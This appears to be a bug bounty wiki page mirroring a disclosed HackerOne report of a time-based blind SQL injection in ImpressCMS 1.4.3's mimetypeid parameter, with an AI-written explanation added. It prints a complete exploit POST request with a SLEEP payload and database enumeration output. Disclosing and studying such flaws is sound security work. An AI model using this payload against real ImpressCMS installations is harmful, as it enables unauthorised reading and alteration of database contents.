Skip to content
SQL injection Disclosed report Intermediate

SQL Injection in version 1.4.3 and below

A SQL injection vulnerability exists in the mimetypeid parameter of ImpressCMS v1.4.3 and earlier, allowing an attacker to inject arbitrary SQL commands. An attacker could read and modify sensitive database information, and if misconfigured, upload a malicious web shell to compromise the entire system.

cyberinsane Follow

Originally disclosed on HackerOne

High 8.4 View original
  • Triaged in 22 days
  • Fixed in 24 days
  • Disclosed after 17 months

Summary:

SQL Injection in ImpressCMS v1.4.3 and earlier allows remote attackers to inject into the code in unintended way, this allows an attacker to read and modify the sensitive information from the database used by the application. If misconfigured, an attacker can even upload a malicious web shell to compromise the entire system.

ImpressCMS branch :

[1.4]

Browsers Verified In:

Google Chrome, Firefox]

Steps To Reproduce:

Step1- Login with Admin Credentials Step2- Vulnerable Parameter to SQLi: mimetypeid (POST request):

POST /ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype&op=mod&mimetypeid=1 HTTP/1.1 Host: 192.168.56.117 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------40629177308912268471540748701 Content-Length: 1011 Origin: http://192.168.56.117 Connection: close Referer: http://192.168.56.117/ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype&op=mod&mimetypeid=1 Cookie: tbl_SystemMimetype_sortsel=mimetypeid; tbl_limitsel=15; tbl_SystemMimetype_filtersel=default; ICMSSESSION=7c9f7a65572d2aa40f66a0d468bb20e3 Upgrade-Insecure-Requests: 1

-----------------------------40629177308912268471540748701 Content-Disposition: form-data; name="mimetypeid"

1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE) -----------------------------40629177308912268471540748701 Content-Disposition: form-data; name="extension"

bin -----------------------------40629177308912268471540748701 Content-Disposition: form-data; name="types"

application/octet-stream -----------------------------40629177308912268471540748701 Content-Disposition: form-data; name="name"

Binary File/Linux Executable -----------------------------40629177308912268471540748701 Content-Disposition: form-data; name="icms_page_before_form"

http://192.168.56.117/ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype -----------------------------40629177308912268471540748701 Content-Disposition: form-data; name="op"

addmimetype -----------------------------40629177308912268471540748701 Content-Disposition: form-data; name="modify_button"

Submit -----------------------------40629177308912268471540748701--

Vulnerable Payload: 1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE) //time-based blind (query SLEEP)

Output: web application technology: Apache 2.4.52, PHP 7.4.27 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) available databases [6]: [] impresscms [] information_schema [] mysql [] performance_schema [] phpmyadmin [] test

Suggestions to mitigate or resolve the issue:

Use Parameterized Queries

Supporting Material/References:

https://github.com/sartlabs/0days/blob/main/ImpressCMS1.4.3/Exploit.txt

  • [attachment / reference]

Impact

SQL Injection in ImpressCMS v1.4.3 and earlier allows remote attackers to inject into the code in unintended way, this allows an attacker to read and modify the sensitive information from the database used by the application. If misconfigured, an attacker can even upload a malicious web shell to compromise the entire system.

The original report as published on HackerOne, by cyberinsane. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application builds SQL queries by concatenating user-supplied input (the mimetypeid parameter) without using parameterised queries or proper escaping.

Impact

An attacker could read and modify sensitive database information, and if misconfigured, upload a malicious web shell to compromise the entire system.

What the attacker needed

Admin credentials

How it was found

  1. Log in with admin credentials.
  2. Send a POST request to the mimetype modification endpoint with a crafted mimetypeid value that includes a time-based SQL injection payload.
  3. Observe the delayed response confirming the injection, then use it to enumerate databases.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

SQL injection is a flaw where user input is inserted directly into a database command, letting an attacker change the command's meaning. Here, the mimetypeid value in a form is not properly sanitised, so an attacker can make the database wait (a time-based test) and then extract data. This could let them read or alter private information stored in the database.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More from ImpressCMS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.